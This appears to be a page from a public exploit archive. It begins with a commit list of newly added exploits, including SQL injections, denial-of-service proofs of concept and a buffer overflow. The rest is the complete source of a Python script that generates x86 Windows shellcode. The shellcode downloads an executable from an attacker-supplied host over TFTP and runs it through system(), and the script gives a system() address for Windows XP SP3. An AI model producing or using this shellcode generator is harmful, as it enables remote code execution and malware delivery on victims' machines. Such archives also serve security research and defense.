0495dc483e
12 changes to exploits/shellcodes Selfie Studio 2.17 - Denial of Service (PoC) Tree Studio 2.17 - Denial of Service (PoC) Paint Studio 2.17 - Denial of Service (PoC) Pixel Studio 2.17 - Denial of Service (PoC) Liquid Studio 2.17 - Denial of Service (PoC) Blob Studio 2.17 - Denial of Service (PoC) Luminance Studio 2.17 - Denial of Service (PoC) Code Blocks 17.12 - Local Buffer Overflow (SEH) (Unicode) Adapt Inventory Management System 1.0 - SQL Injection Joomla! Component JoomProject 1.1.3.2 - Information Disclosure Joomla! Component JoomCRM 1.1.1 - SQL Injection Windows/x86 - Download With TFTP And Execute Shellcode (51-60 bytes) (Generator)
39 lines
No EOL
1.4 KiB
Python
Executable file
39 lines
No EOL
1.4 KiB
Python
Executable file
#!/bin/python
|
|
|
|
#Author: Semen Alexandrovich Lyhin.
|
|
#https://www.linkedin.com/in/semenlyhin/
|
|
#This script generates x86 shellcode to download and execute .exe file via tftp. File name should be equal to: "1.exe"
|
|
#Lenght: 51-56 bytes, zero-free.
|
|
|
|
import sys
|
|
|
|
def GetOpcodes(ip,addr):
|
|
command = r"tftp -i " + ip + r" GET 1.exe&1"
|
|
#add spaces, if required.
|
|
command += (4-len(command)%4)%4*" "
|
|
|
|
#calculate opcodes for the command
|
|
opcodes = ""
|
|
for s in [command[i:i+4] for i in xrange(0,len(command),4)][::-1]: #split by 4-char strings and reverse order of the strings in the list
|
|
opcodes += "68" #push
|
|
for char in s:
|
|
opcodes += hex(ord(char))[2:].zfill(2)
|
|
|
|
#zero out eax and push it. If there is zeroed register, we can simplify this operation. Check it manually.
|
|
opcodes = "33C050" + opcodes
|
|
#push esp. Modify this part, to make program stabler. #mov eax,esp #push eax
|
|
opcodes += "54"
|
|
#move addr of msvcrt.system to ebx
|
|
opcodes += "BB" + addr
|
|
#call ebx
|
|
opcodes += "FFD3"
|
|
return opcodes
|
|
|
|
if __name__ == "__main__":
|
|
if len(sys.argv)!=3:
|
|
print "Usage: " + sys.argv[0] + " <ip> <address of msvcrt.system>"
|
|
print "Address of msvcrt.system == C793C277 for Windows XP Professional SP3"
|
|
exit()
|
|
opcodes = GetOpcodes(sys.argv[1],sys.argv[2])
|
|
print opcodes
|
|
print "Lenght:" + str(len(opcodes)/2) |